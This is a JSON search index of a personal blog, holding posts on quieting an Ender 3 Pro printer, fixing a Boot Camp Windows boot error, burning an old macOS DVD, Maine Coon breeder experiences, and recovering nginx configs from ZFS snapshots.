[{"body":"","link":"https://dawning.ca/","section":"","tags":null,"title":""},{"body":"","link":"https://dawning.ca/categories/3d-printing/","section":"categories","tags":null,"title":"3D Printing"},{"body":"I recently acquired an Ender 3 Pro. I was immediately impressed with how nicely organized everything is with it. Granted, the last printer I actually bought was one of the very first MakerBot kits. Anyway, I love my little Ender 3 Pro. As someone who\u0026rsquo;s done a lot of custom printer work, I couldn\u0026rsquo;t help but make changes, as much as I bought this machine specifically with the intent of changing nothing.\nIn my case, I decided to try to keep the machine looking fairly stock. I like mods that are subtle but high-impact.\nHere\u0026rsquo;s a video I\u0026rsquo;ve made to largely convey the same noise reduction info that\u0026rsquo;s in this post, plus a bit of an overall review:\nhttps://youtu.be/k69RtvA5mvQ\nHere\u0026rsquo;s a quick list of the changes that I made that have substantially reduced the noise generated by this machine.\nParts List / BOM Here\u0026rsquo;s a list of the parts I swapped in to my Ender 3 Pro for noise reduction. I\u0026rsquo;ve some some other mods too, but these ones are sound-specific. Note everything listed below can be sourced from a ton of places. I linked where I got mine, but you can get all this stuff from Amazon, or whatever works for you.\nPart Description Quantity Cost ($CAD) URL BigTreeTech SKR Mini e3 V1.2 Control Board with \u0026lsquo;quiet\u0026rsquo; stepper driver chips (TMC 2209) 1 $54 Spool3d.ca Buck Converter Able to convert 24V DC in to other voltages, such as 12V for fans 1 (needed), bought a bundle of them though $17 Amazon.ca 2-pin JST Connectors (JST SM 2) Very handy for making changes, or replacing parts later, totally worth it. (Other JST connectors should be fine too, seems that the supply varies a lot, just use something of a decent gauge) 4 used (bought a bundle) $11 Amazon.ca, Here\u0026rsquo;s another Amazon option Heat Shrink For insulating joined wires Maybe 30cm worth? Maybe $1 worth? I had them already. Here\u0026rsquo;s something similar - Link. 12V Noctua 40mm x 10mm fan (NF-A4x10-FLX) Two 40x10mm DC fans, one for the hotend cooler and one for the control board cooler 2 2 x $19 ($38) Spool3d.ca 12V Noctua 92mm x 14mm fan (NF-A9x14) Optionally for the Power Supply - this one required actual modification of the PSU 1 $23 MemoryExpress.com 24V 40mm x 10mm blower fan Replaces the nozzle cooler, I\u0026rsquo;m really not convinced this one was actually quieter 1 $8 Spool3d.ca 92mm fan cover My PSU replacement fan sat outside the PSU, so I made a cover to protect the blades. You can too 1 $0.80 Cults3d.com M3 bolts \u0026amp; nuts I used these to fasten my PSU fan to the PSU case 4 $1 eBay.ca Stage 1: Reduce Stepper Noise I promptly installed an SRK Mini e3 motherboard (from Spool3d) and was immediately stunned with how my steppers became nearly inaudible. I knew to expect this, and it still blew me away. A eventually learned that the 2209 stepper drivers can be switched between StealthChop2 mode (the default) and Spreadcycle. If you signal your control board to use Spreadcycle mode, then the steppers will be a lot more noticeable, but for the gain of probably better position accuracy.\nThe SKR Mini e3 1.2 is a drop-in replacement for the Creality board that comes with the Ender 3 Pro. It\u0026rsquo;s wise to snap photos of your board and connections before to you start unplugging.\nOriginal Control Board:\nSKR Mini e3 1.2 after installation:\nStage 2: Reduce Hotend Fan Noise In order to install a 12V fan, I first needed a way of providing 12V. I decided to use the fan pin from the SKR board. I looked at the schematic and believe that it should be good to source enough current to run quite a few fans. So I overall decided to have that fan port drive a buck converter that I put 3x 2-pin JST connectors on. This gave me room for the hotend and control board fans, plus something else in the future (TBD). I decided to attach my buck converter by tapping M3 threads in to the control board casing. This was a terrible plan only because the casing\u0026rsquo;s walls are just to thin to effectively tap. I did get some purchase on my threads though, so I rolled with it.\nHere are photos:\nWith 12V now being routed to my 24V hotend fan, it was now time to replace that fan itself. Also, be sure to get the polarity right, use a multi-meter both to check the voltage out of your control board and to adjust the output voltage of the buck converter to be close to 12V.\nI have no photos of the hotend fan install, but the steps I followed were:\nTake off fan shroud Unscrew 24V hotend fan (not the blower on the side) (Ensure power\u0026rsquo;s off), push back the braided sleeve, clamp it back in place to hold it out of your way, cut the fan wires, leaving plenty of room to strip wires. Solder in JST 2-pin socket connector on the machine\u0026rsquo;s hotend fan wires, use heatshrink, of course Cut the wires on the Noctua fan, fold back the PWM wire, it won\u0026rsquo;t be used. Solder in the JST pin connector, with heatshrink Reassemble the hotend area. You could stop at this point, as the machine will be a fair bit quieter. But, you can go on\u0026hellip;\nStage 3 (Optional): Replace the Control Board Fan With the buck converter in the control board\u0026rsquo;s case, attaching another 12V Noctua fan is simple. Not much explation needed here. Go for it, or don\u0026rsquo;t.\nStage 4 (Optional): Replace the PSU Fan First off, I\u0026rsquo;m not responsible for your safety or property. So, you know, you own that. Secondly, doing work inside of AC power supplies can potentially be deadly. So, enter your PSU at your own risk. I\u0026rsquo;m personally fairly comfortable with electronics, but I still tread really carefully inside of PSUs. I have been shocked before and it sucks a lot.. And again, if you\u0026rsquo;re unlucky enough, it\u0026rsquo;ll kill you. So.. You\u0026rsquo;ve been warned (it\u0026rsquo;s concerning how many things I see on PSU mods that make no mention of there being risk).\nIn my case I was surprised to find my PSU\u0026rsquo;s fan is actually a 12V fan. This made replacing it not require another buck converter. Of course, installing another buck converter is no big deal, so for those of you with 24V fans in your PSUs (which is common), you\u0026rsquo;ll have to figure that out, it would be similar to how the other buck converter in this post was handled.\nBefore much of anything\nInside my PSU before doing anything\nAfter drilling out holes for screws, airflow and cabling\nHoles.. Some people like to cut everything away to allow more air through. I like having the high power guts fairly enclosed. If the PSU explodes, I want a cage to keep the guts inside. You do you, I do not care to debate the topic.\nHere are the new fan\u0026rsquo;s wires, with the white cable protector from the stock fan added. I assume these are thermally protective to the wires. I\u0026rsquo;m not sure, just a guess.\nClosing up the PSU\nFan installation complete\nPSU fan in action\nStage 4.1 (Optional): Install PSU Fan Shroud I CADed a shroud for my PSU fan mod, cause I didn\u0026rsquo;t want the blades getting damaged. Also, I saw an incredible video that explained how directing the air in to the fan can actually substantially improve the fan\u0026rsquo;s performance. Here\u0026rsquo;s a link to my shroud I designed in Fusion360. It took me quite a while to figure this out: https://cults3d.com/en/3d-model/gadget/classic-styled-92-x-14mm-fan-cover\nModel of fan shroud\nFan shroud installed\n","link":"https://dawning.ca/posts/adventures-in-ender-3-pro-noise-reduction-plus-a-review/","section":"posts","tags":["sound","noise","MakerBot","cupcake","review","ender 3 pro","creality","fan","loud","noctua"],"title":"Adventures in Ender 3 Pro Noise Reduction (plus a Review)"},{"body":"","link":"https://dawning.ca/categories/","section":"categories","tags":null,"title":"Categories"},{"body":"","link":"https://dawning.ca/tags/creality/","section":"tags","tags":null,"title":"Creality"},{"body":"","link":"https://dawning.ca/tags/cupcake/","section":"tags","tags":null,"title":"Cupcake"},{"body":"","link":"https://dawning.ca/tags/ender-3-pro/","section":"tags","tags":null,"title":"Ender 3 Pro"},{"body":"","link":"https://dawning.ca/tags/fan/","section":"tags","tags":null,"title":"Fan"},{"body":"","link":"https://dawning.ca/tags/loud/","section":"tags","tags":null,"title":"Loud"},{"body":"","link":"https://dawning.ca/tags/makerbot/","section":"tags","tags":null,"title":"MakerBot"},{"body":"","link":"https://dawning.ca/tags/noctua/","section":"tags","tags":null,"title":"Noctua"},{"body":"","link":"https://dawning.ca/tags/noise/","section":"tags","tags":null,"title":"Noise"},{"body":"","link":"https://dawning.ca/posts/","section":"posts","tags":null,"title":"Posts"},{"body":"","link":"https://dawning.ca/tags/review/","section":"tags","tags":null,"title":"Review"},{"body":"","link":"https://dawning.ca/tags/sound/","section":"tags","tags":null,"title":"Sound"},{"body":"","link":"https://dawning.ca/tags/","section":"tags","tags":null,"title":"Tags"},{"body":"","link":"https://dawning.ca/categories/apple-hardware/","section":"categories","tags":null,"title":"Apple Hardware"},{"body":"","link":"https://dawning.ca/tags/blue-screen/","section":"tags","tags":null,"title":"Blue Screen"},{"body":"","link":"https://dawning.ca/tags/boot-camp/","section":"tags","tags":null,"title":"Boot Camp"},{"body":"","link":"https://dawning.ca/tags/bsod/","section":"tags","tags":null,"title":"Bsod"},{"body":"","link":"https://dawning.ca/tags/fix/","section":"tags","tags":null,"title":"Fix"},{"body":"Like any self-respecting computer geek, I like everything. I typically run-up Windows on my Macs by installing it via Boot Camp, and then booting it as a VM. This lets me run everything in parallel, but also go full native mode when needed.\nRecently, I found I couldn\u0026rsquo;t boot my Windows natively any more, though it would still work fine in my VMware Fusion. When booting natively, my Windows install with BSOD on an INACCESSIBLE_BOOT_DEVICE exception. After a bit of googling, I found that this was likely related to storage drivers. I ultimately managed to fix my Windows environment (without a reinstall), here are the steps:\nLaunch your Windows environment from within a VM under macOS. You will need to operate on your Windows C:\\ from within a Virtualized Environment because the storage volume will be unlocked and accessible, but there won\u0026rsquo;t be a need for a special driver running under Windows for this.\nUse the Boot Camp Assistant to fetch the Boot Camp Drivers. Copy them in to your Windows environment.\nBoot the Windows VM from a Windows Installer Disk Image.\nOpen a command-line by pressing shift+F10 (fn+shift+F10)\nRun the command: dsim /Image:C:\\\\ /Add-Driver /driver:c:\\\\path\\\\to\\\\your\\\\boot-camp\\\\drivers\\\\$WinPEDriver$ /recurse (Update the /driver part to match your system\u0026rsquo;s configuration)\nThat\u0026rsquo;s it, it should have run and now your Windows environment will be natively bootable again, at least, mine is.\nThis method was adapted from that described here: https://twocanoes.com/knowledge-base/resolving-inaccessible_boot_device-error-after-restoring-winclone-image/\n","link":"https://dawning.ca/posts/fix-inaccessible_boot_device-with-boot-camp-windows-systems/","section":"posts","tags":["windows","fix","macOS","boot camp","windows 10","INACCESSIBLE_BOOT_DEVICE","bsod","blue screen"],"title":"Fix INACCESSIBLE_BOOT_DEVICE with Boot Camp Windows Systems"},{"body":"","link":"https://dawning.ca/tags/inaccessible_boot_device/","section":"tags","tags":null,"title":"INACCESSIBLE_BOOT_DEVICE"},{"body":"","link":"https://dawning.ca/tags/macos/","section":"tags","tags":null,"title":"MacOS"},{"body":"","link":"https://dawning.ca/tags/windows/","section":"tags","tags":null,"title":"Windows"},{"body":"","link":"https://dawning.ca/tags/windows-10/","section":"tags","tags":null,"title":"Windows 10"},{"body":"","link":"https://dawning.ca/tags/burn/","section":"tags","tags":null,"title":"Burn"},{"body":"","link":"https://dawning.ca/tags/catalina/","section":"tags","tags":null,"title":"Catalina"},{"body":"","link":"https://dawning.ca/tags/dvd/","section":"tags","tags":null,"title":"Dvd"},{"body":"","link":"https://dawning.ca/tags/iso/","section":"tags","tags":null,"title":"ISO"},{"body":"","link":"https://dawning.ca/tags/lion/","section":"tags","tags":null,"title":"Lion"},{"body":"","link":"https://dawning.ca/tags/mac-os-x/","section":"tags","tags":null,"title":"Mac OS X"},{"body":"This brief post is just my notes specifically on how to make a Mac OSX Lion install DVD from within macOS Catalina. This isn\u0026rsquo;t really meant to help anyone other than my future self. But I hope it helps the odd other person too.\nStep 0. Optionally order a copy from Apple, do a search online and you can find Lion and Snow Leopard disks still available for order directly from Apple, as of late 2019.\nStep 1. Get the Installer Image from Apple (I\u0026rsquo;ve personally been archiving these for a while).\nStep 2. Open the Terminal, enter the command:\nhdiutil burn LionInstaller.iso\nThat\u0026rsquo;s it. Done. Here\u0026rsquo;s example output:\n","link":"https://dawning.ca/posts/make-an-old-mac-osx-install-dvd-from-macos-catalina/","section":"posts","tags":["OSX","dvd","macOS","Mac OS X","Lion","ISO","Burn","Catalina"],"title":"Make an old Mac OS X install DVD from macOS Catalina"},{"body":"","link":"https://dawning.ca/categories/osx/","section":"categories","tags":null,"title":"OSX"},{"body":"","link":"https://dawning.ca/tags/osx/","section":"tags","tags":null,"title":"OSX"},{"body":"","link":"https://dawning.ca/categories/technical-babble/","section":"categories","tags":null,"title":"Technical Babble"},{"body":"I adore my Makita Cordless Electric drills and have long since wanted to print hangers for them to go on my walls along with other valued tools. The preexisting models I could find all were kind of corny. The challenge here was the Makita drill has a super fluid shape, nothing is square to anything.\nHere\u0026rsquo;s what I came up with:\nThe red model is what I made. I found a really impressive CAD model for a Makita drill here. This helped me not have to carefully measure my as-built drill.\nI used Fusion360 and the end result was excellent:\nLinks/Downloads Here\u0026rsquo;s an export of my Fusion360 project file: MakitaWallHangerByDocDawning-20190331.f3d\nA 3D printable STL has been attached to a posting I\u0026rsquo;ve made for this model here: Thingiverse\n","link":"https://dawning.ca/posts/3d-printable-makita-wall-hanger/","section":"posts","tags":null,"title":"3D Printable Makita Wall Hanger"},{"body":"","link":"https://dawning.ca/tags/adopt/","section":"tags","tags":null,"title":"Adopt"},{"body":"","link":"https://dawning.ca/tags/breeder/","section":"tags","tags":null,"title":"Breeder"},{"body":"","link":"https://dawning.ca/tags/buy/","section":"tags","tags":null,"title":"Buy"},{"body":"","link":"https://dawning.ca/categories/consumer-reviews/","section":"categories","tags":null,"title":"Consumer Reviews"},{"body":"","link":"https://dawning.ca/tags/coon-cats/","section":"tags","tags":null,"title":"Coon Cats"},{"body":"","link":"https://dawning.ca/tags/genuine/","section":"tags","tags":null,"title":"Genuine"},{"body":"","link":"https://dawning.ca/tags/kittens/","section":"tags","tags":null,"title":"Kittens"},{"body":"","link":"https://dawning.ca/tags/maine-coon/","section":"tags","tags":null,"title":"Maine Coon"},{"body":"Here\u0026rsquo;s the sequel to my last Maine Coon Kitty post, round 2 (here\nAfter the wild success following our adoption of our (first) awesome Maine Coon, from Major Tom Maine Coons located in Nova Scotia Canada, we decided to adopt another kitten from this awesome breeder.\nI\u0026rsquo;m now finding I\u0026rsquo;m getting asked from folks looking for a good breeder for comments on my experience with Major Tom Maine Coons. So I decided to create this post to help aid in my replies.\nFirst, I\u0026rsquo;ll review the first kitty. Then introduce the second and finally discuss why I like this breeder.\nMaine Coon Kitten #1: Whiskey Maine Coon Kitty Hunt: Round 3 Whiskey Photo Gallery\nThe first kitten we adopted contains to thrive and grow. She\u0026rsquo;s got a bubbly-happy personality and she jackie-chan sprint-climbs, like a mountain goat, high on caffeine.\nMaine Coon Kitten #2: Ash When the first kitten was about 7 month old, we brought home our second Maine Coon kitten, who we\u0026rsquo;ve named Ash. This fella is from the same breeder (Major Tom Maine Coons), but he\u0026rsquo;s from totally different parents. He too is a breath-taking work of art. He\u0026rsquo;s particularly affectionate and sweet.\nMaine Coon Kitty Hunt: Round 3 Ash Photo Gallery\nUPDATE: Whiskey \u0026amp; Ash We took our time introducing Whiskey and Ash. Ash spent the first few weeks almost 100% separated from the Whiskey. She didn\u0026rsquo;t really want another cat around at first. But after a while, we figured she\u0026rsquo;d had enough time to get used to his scent being around and we let them meet. After a couple of days, they became extremely good friends. They play frequently and as we chill out at home, we occasionally hear them galloping around as they chase each other. Our dog Gryphon joins in from time to time too.\nMaine Coon Kitty Hunt: Round 3 Whiskey \u0026amp; Ash Photo Gallery\nMaine Coon Breeder: Major Tom Maine Coons As I discuss in my earlier posts, I have shopped around somewhat for Maine Coon breeders. I found some that weren\u0026rsquo;t so awesome and others that are simply overwhelmed. Major Tom Maine Coons is a breeder that became an excellent choice for me because:\nThey\u0026rsquo;re very open to communication\nSeemingly offers excellent kitty care advice\nHas insanely good-looking and nicely tempered Maine Coons\nSends weekly photo updates of kittens once born\nThe animals arrive in excellent health, both physically and mentally (in my experience)\n(bonus) Both my kittens immediately knew how to use a litter box\nWe live on the other side of the country (Calgary versus near(ish) Halifax). Major Tom Maine Coons provided a shipping option where our kitten was sent to us via direct flight air freight. He arrived in good order and we saved a fortune compared to having to fly out to get him ourselves (though that is a good option to consider).\nI\u0026rsquo;ve taken my Maine Coons to a really excellent vet in Calgary and he\u0026rsquo;s been quite impressed by them both. I didn\u0026rsquo;t tell him they were Maine Coons and when he separately met them both, both times, he launched in to a story about how he sees lots of cats people call Maine Coons, that aren\u0026rsquo;t. He commented on how their features are very well defined and are excellent examples of the breed. Personally, I\u0026rsquo;m not sure I\u0026rsquo;m fully qualified to assess. But it\u0026rsquo;s clear that they are very lovely and do seem to have all of the common traits.\nIf you\u0026rsquo;d like to check out Major Tom Maine Coons, there\u0026rsquo;s not currently a dedicated website, but there are good social media options:\nFacebook Group: Major Tom Maine Coons\nInstagram: MaineCoonCatsOfNovaScotia\nNote: I really really really like this breeder. This post is mainly to help more prospective kitty-homes find this breeder. This is not a paid promotion or anything like that. All being equal, I\u0026rsquo;d probably not have made this series of posts had I not had such an ugly early experience when I first started looking for breeders.\nStory of when the vet met Ash, the Maine Coon Kitten When our vet met Ash, he asked how old he was.\nI said \u0026ldquo;Meh, he\u0026rsquo;s a kitten, I forget how old exactly, maybe 16 weeks or something\u0026rdquo;.\nThe vet looked in to Ash\u0026rsquo;s mouth. Then he lit-up, \u0026ldquo;Whoa, this little guy\u0026rsquo;s still got all his kitten teeth!\u0026rdquo;.\nI stared for a moment, \u0026ldquo;So?\u0026rdquo;.\n\u0026ldquo;Well, it\u0026rsquo;s just they start losing their kitten teeth fairly young. This fella\u0026rsquo;s massive, to still have all his kitten teeth. Look at these giant paws. Gee. I\u0026rsquo;m very much looking forward to seeing just how big he gets. He is going to be big!\u0026rdquo;\nI looked on with a smile.. And a measure of cautious excitement.\n","link":"https://dawning.ca/posts/maine-coon-kitty-hunt-round-3/","section":"posts","tags":["review","maine coon","breeder","kittens","adopt","major tom","coon cats","buy","genuine"],"title":"Maine Coon Kitty Hunt: Round 3"},{"body":"","link":"https://dawning.ca/tags/major-tom/","section":"tags","tags":null,"title":"Major Tom"},{"body":"","link":"https://dawning.ca/categories/geektown/","section":"categories","tags":null,"title":"Geektown"},{"body":"","link":"https://dawning.ca/tags/microsoft-store/","section":"tags","tags":null,"title":"Microsoft Store"},{"body":"","link":"https://dawning.ca/tags/shit-talker/","section":"tags","tags":null,"title":"Shit Talker"},{"body":"","link":"https://dawning.ca/tags/shit-talker-phoenix/","section":"tags","tags":null,"title":"Shit Talker Phoenix"},{"body":"","link":"https://dawning.ca/categories/software-development/","section":"categories","tags":null,"title":"Software Development"},{"body":"","link":"https://dawning.ca/tags/stp/","section":"tags","tags":null,"title":"Stp"},{"body":"","link":"https://dawning.ca/tags/trash-talker/","section":"tags","tags":null,"title":"Trash Talker"},{"body":"I\u0026rsquo;ve finally managed to get a version of Trash Talker published in to the Microsoft Store. This was based on the old STP code, but I made a number of improvements that make the app much better.\nThis app is a remake of a remake. The original app be the classic Shit Talker, by Jaundice. I enjoyed Shit Talker as a kid. I used to it call my friends and annoy them. (Given I\u0026rsquo;m a youngest sibling, it has been my classic duty to find creative ways of annoying others.) Trash Talker is a modernization of Shit Talker that tries to be a little cleaner, but stays quite true to the original. I have a few plans for things I\u0026rsquo;d like to add to this app, so check back every so often for updates.\nCheck out Trash Talker on the Microsoft Store.\nAlso - Trash Talker for macOS has been out for a while now too, so macOS users can grab it from the App Store.\n","link":"https://dawning.ca/posts/trash-talker-for-windows-launches/","section":"posts","tags":["windows","stp","shit talker","shit talker phoenix","trash talker","microsoft store"],"title":"Trash Talker for Windows Launches"},{"body":"","link":"https://dawning.ca/tags/config/","section":"tags","tags":null,"title":"Config"},{"body":"Tonight I was doing a little development work towards a telemetry system I\u0026rsquo;m building for a thing. Along the way I managed (like a 10/10 n00b) to delete a bunch of vital configs on my reverse proxy server that handles all my traffic. Thanks to the amazing ZFS snapshot function made easily available by FreeNAS, I was able to recover from this otherwise devastating fckup, super fast and without service disruption.\nDeath by PEBKAC So I reverse proxy loads of personal things (including stuff that other people actually use) through nginx on a VM. This VM contains not only virtual host definitions, but also SSL keys for each of these services.\nI\u0026rsquo;ve been gradually rolling-out Ansible-driven config management and I actually use it fairly widely now, but not THAT directly for my nginx configs as yet. For managing nginx configs, I use my previous model, which is that I check in things to a private git repo.\nHere\u0026rsquo;s how I kicked myself to the curb:\nI added my latest host configs to my revision control. And I bulk added other stuff I was sure wasn\u0026rsquo;t already in revision control.\nI then decided I didn\u0026rsquo;t want to use this new host, so I deleted it. Then I made a new commit of that.\nTHEN I changed my mind again and decided I wanted it back. So I ran git revert (which I\u0026rsquo;ve never used, not with git, before).\nI made two hilarious mistakes here that nearly caused me hours of rebuilding effort, they were:\nWhen I added stuff I wasn\u0026rsquo;t sure was in revision control, I didn\u0026rsquo;t check that everything actually added. I\u0026rsquo;ve often wiped-out over how git adds files. I find it counter-intuitive when I declare add a directory and it seems to just add the directory root. Seriously, would anyone ever actually want that? I guess probably yes, Git was made by super-heros afterall.\nI assumed that git revert would only touch files/dirs mentioned in revision control. HAH! Nope. It changes directories structures to exactly match what\u0026rsquo;s in revision control. This is totally reasonable to me, just not what I assumed was going to happen.\nSo there I was left with a functional server. nginx had not been restarted and thus had file handles on everything I needed it to. But the file system handles to those files had all been deleted. Thus the moment I restarted nginx, I knew I\u0026rsquo;d be screwed and have to go rekey a ton of SSL certs and remake a bunch of bland nginx reverse proxy configs.\nShaka.\nZFS snapshots ctrl+z the fail I back my VMs with a decent little box running FreeNAS. With this, my VMs thus live on ZFS. I also had to good fortune of having established automatic ZFS snapshots (I also remotely replicate them to another ZFS box, offsite). I\u0026rsquo;d never actually tried using a ZFS snapshot before, so I wasn\u0026rsquo;t sure it\u0026rsquo;d work the way I assumed. But they totally do work as I assumed and through this, I was saved.\nOn the FreeNAS box I selected the latest snapshot of the volume I keep my VMs on. I cloned this snapshot to create a new ZFS volume. To my surprise, the cloning operation was instant. How efficient, clearly there were no copies. I guess ZFS deals heavily with deltas. Fucking excellent. With the new volume defined, I added a NFS share pointing to it. On one of my virtual hosts, I then attached the new NFS share so I could access the snapshot\u0026rsquo;s contents. Then I registered the reverse proxy VM from the snapshot (all while the original one kept serving traffic, which it could do so long as I didn\u0026rsquo;t touch its nginx service). The snapshot-stored rev proxy VM booted. Complained it\u0026rsquo;d been crashed (as one should expect). After it booted I copied the missing files from it directly to the still-live original VM. Then I trashed the entire snapshot volume and DONE. Recovered.\nI\u0026rsquo;m quite amazed. Thank you ZFS, FreeNAS, FreeBSD! You saved me from myself and I am grateful.\nThe end.\nPS - I know storing SSH keys in git is insecure from a purist perspective. Let\u0026rsquo;s just say, I\u0026rsquo;ve considered that and feel sufficiently covered.\nEpilogue There\u0026rsquo;s a little more to this story. Before doing much of anything, I took a VMware snapshot, including memory, of the live nginx VM. Through this, I felt I had a way back to a remotely functioning run-state, even though this wouldn\u0026rsquo;t solve the actual problem. My plan was to revert to that as much as I needed to while I rebuilt the stuff I\u0026rsquo;d lost. As it happened, once I had rsyned-in the files that I\u0026rsquo;d nuked from my ZFS snapshotted clone of the VM, I restarted nginx and the live VM never skipped a beat. RAD!\n","link":"https://dawning.ca/posts/death-by-pebkac-evaded-by-amazing-zfs-snapshot-ctrlzery/","section":"posts","tags":["recovery","config","freenas","zfs","ssl","nginx","delete","freebsd","snapshot"],"title":"Death by PEBKAC evaded by amazing ZFS snapshot CTRL+Zery"},{"body":"","link":"https://dawning.ca/tags/delete/","section":"tags","tags":null,"title":"Delete"},{"body":"","link":"https://dawning.ca/tags/freebsd/","section":"tags","tags":null,"title":"Freebsd"},{"body":"","link":"https://dawning.ca/tags/freenas/","section":"tags","tags":null,"title":"Freenas"},{"body":"","link":"https://dawning.ca/tags/nginx/","section":"tags","tags":null,"title":"Nginx"},{"body":"","link":"https://dawning.ca/tags/recovery/","section":"tags","tags":null,"title":"Recovery"},{"body":"","link":"https://dawning.ca/tags/snapshot/","section":"tags","tags":null,"title":"Snapshot"},{"body":"","link":"https://dawning.ca/tags/ssl/","section":"tags","tags":null,"title":"Ssl"},{"body":"","link":"https://dawning.ca/tags/zfs/","section":"tags","tags":null,"title":"Zfs"},{"body":"","link":"https://dawning.ca/tags/adoption/","section":"tags","tags":null,"title":"Adoption"},{"body":"","link":"https://dawning.ca/tags/breeders/","section":"tags","tags":null,"title":"Breeders"},{"body":"","link":"https://dawning.ca/tags/list/","section":"tags","tags":null,"title":"List"},{"body":"Following our initially discouraging attempt to get our first Maine Coon kitten (discussed in my Maine Coon Kitty Hunt: Round 1 post), we kept pushing and made connections with various Maine Coon Breeders that were all very easy to talk to and seemed quite knowledgeable.\nAfter another several weeks, it all came together wonderfully we and we now have a little ~11week old Maine Coon kitten.\nList of Maine Coon Breeders We Had Positive Contact With Note this is not an exhaustive list or a paid ad or anything. This is just my personal list of breeders that responded to my initial out-reach and then continued to chat with us. I sent out messages to quite a few breeders and roughly half of them never even responded.\nWe would adopt from anyone on this list below. So far, we\u0026rsquo;ve only adopted from Major Tom\u0026rsquo;s Maine Coons as the timing aligned especially well for us.\nBreederNotes\nMajor Tom\u0026rsquo;s Maine Coons\nSuper easy to talk with, very friendly and offered various practical tips\nRoutinely sent photos of kittens, updating us on progress\nPerformed a reference check on us\nProvides a list of health reports on parents and kittens\nExtremely competitively priced, though we weren\u0026rsquo;t actually focused much on price\nWe decided to adopt a kitten from Major Tom\u0026rsquo;s\nLocated in Nova Scotia\nEnchanta Cats\nWebsite\nFacebook\nVery very friendly and easy to talk to.\nContinued offer support and tips long after it was clear that we probably wouldn\u0026rsquo;t adopt from Enchanta only because we\u0026rsquo;re in another country.\nLocated in California\nTurtle Valley Coon Cats\nWebsite\nHighly responsive over email. Very friendly and evidently highly knowledgable (as with the others too).\nLocated in the BC interior\nHookedonCoons\nWebsite\nFacebook\nEasily reached over the phone, very friendly and willing to discuss\nLoads of lovely photos available through website and facebook\nLocated in Medicine Hat, Alberta\nOur first Maine Coon adoption We opted to adopt our first Maine Coon from Major Tom\u0026rsquo;s Maine Coons, described above.\nThe process started with some light emails, then led to a detailed phone conversation. I had my list of questions from the Maine Coon Fancy forms (here), but I didn\u0026rsquo;t need to ask them as this breeder touched on the major points on her own.\nAfter a time, we sent our deposit. We received routine updates, including photos and some videos.\nEventually the big day came and we picked up our fluff-ball. The temperament of this cat amazes me. She\u0026rsquo;s so chill and friendly. We had to drive her in the car for several hours and she didn\u0026rsquo;t mind at all. She was almost immediately affectionate and we\u0026rsquo;re looking forward to a lovely life together! Thank you Major Tom\u0026rsquo;s Maine Coons!\nHere\u0026rsquo;s some pictures of our lovely little Maine Coon kitten\u0026hellip;\nUPDATE There\u0026rsquo;s more, in my Round 3 post, here.\n","link":"https://dawning.ca/posts/maine-coon-kitty-hunt-round-2/","section":"posts","tags":["review","maine coon","adoption","breeders","list","major tom's maine coons"],"title":"Maine Coon Kitty Hunt: Round 2"},{"body":"","link":"https://dawning.ca/tags/major-toms-maine-coons/","section":"tags","tags":null,"title":"Major Tom's Maine Coons"},{"body":"","link":"https://dawning.ca/tags/canada/","section":"tags","tags":null,"title":"Canada"},{"body":"","link":"https://dawning.ca/tags/cat/","section":"tags","tags":null,"title":"Cat"},{"body":"","link":"https://dawning.ca/tags/experience/","section":"tags","tags":null,"title":"Experience"},{"body":"","link":"https://dawning.ca/categories/journal/","section":"categories","tags":null,"title":"Journal"},{"body":"","link":"https://dawning.ca/tags/kitten/","section":"tags","tags":null,"title":"Kitten"},{"body":"New beginnings Upon the natural end-of-life of the last of cherished Himalayans, we\u0026rsquo;ve mobilized in our quest to introduce in to our family two Maine Coon kittens. We\u0026rsquo;ve been planning our pivot to Maine Coons for about 4 years now and we\u0026rsquo;ve casually attended cat shows to further affirm this is another suitable breed choice for us.\nOur first serious Maine Coon Breeder candidate The first breeder we got fairly involved with is Mariama, based in Sudbury, Ontario. We\u0026rsquo;d identified other prospects far closer to home (Alberta), but we fell in love with Mariama\u0026rsquo;s impressive photos.\nSpoiler: This story doesn\u0026rsquo;t end well for us.\nAfter 3 weeks of discussions, we agreed to adopt two kittens. We paid a deposit and signed an adoption agreement contract. The day after we made our deposit, we noticed the kittens had been reposted on Mariama\u0026rsquo;s site as available. A short time after that, our deposit was returned to us, in full, without any explanation. We followed-up asking what\u0026rsquo;s happened, hoping perhaps it was a simple miscommunication, somehow.\nIt\u0026rsquo;s now about two weeks after that and still zero reply, zero acknowledgement. At this point, I have no reason to expect a reply, though I would still appreciate one and consider updating my account in that event. The process left us heart-broken, confused and angry. I write a fair number of reviews for sites like Google Maps and Yelp, but I only really post positive reviews. This is an occasion that pains me to break with that tradition, but I hope perhaps the feedback will eventually inspire some positive changes.\nI suppose Mariama\u0026rsquo;s followed their own website\u0026rsquo;s claims, specifically:\n\u0026ldquo;We reserve the right to refuse a sale without providing an explanation.\u0026rdquo;\nIn our case, we\u0026rsquo;ve experienced that right exercised to its fullest.\nTwo weeks after our rejection, the kittens we wanted remain listed as available on the Mariama website.\nOthers may have different stories with this breeder. The only review I found online is on Maine Coon Fancy\u0026rsquo;s forums, here. That account sounded similar to our experience.\nLive and learn Moving forward, I\u0026rsquo;ll give quite a lot more focus to how breeders respond to me. I\u0026rsquo;ve had some really positive conversations both over the phone and email with many other breeders in North America. I\u0026rsquo;ve also had some other breeders entirely ignore my attempts to make contact, never giving any reply at all. One breeder told me she receives so many adoption requests, it\u0026rsquo;s totally impractical to even establish a waiting list. So, that may explain why some breeders may never reply at all.\nHope for the best Hopefully there will be no Round 3 of our Maine Coon hunt. Round 2 is under-way now and I\u0026rsquo;m cautiously optimistic. We\u0026rsquo;re settling in for a long wait and a lot of time will likely be invested before we manage to find a fit that really works out for us. But I believe the universe shall unfold as it should. We\u0026rsquo;ll just have to discover what that really means.\nDear new-adopters To anyone else just getting started down their Maine Coon life, a great resource appears to be the Maine Coon Fancy Pre-Adoption Checklist, here.\nUPDATE \u0026ndash; Round 2 We\u0026rsquo;ve since made some lovely progress on our Maine Coon Hunt and now have adopted 1 of 2 kittens. Read about it here.\nvar _paq2 = _paq2 || [];\n/* tracker methods like \u0026ldquo;setCustomDimension\u0026rdquo; should be called before \u0026ldquo;trackPageView\u0026rdquo; */\n_paq2.push([\u0026rsquo;trackPageView\u0026rsquo;]);\n_paq2.push([\u0026rsquo;enableLinkTracking\u0026rsquo;]);\n(function() {\nvar u=\u0026quot;//piwik.jamessnell.com/\u0026quot;; _paq2.push(['setTrackerUrl', u+'piwik.php']); _paq2.push(['setSiteId', '10']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s); 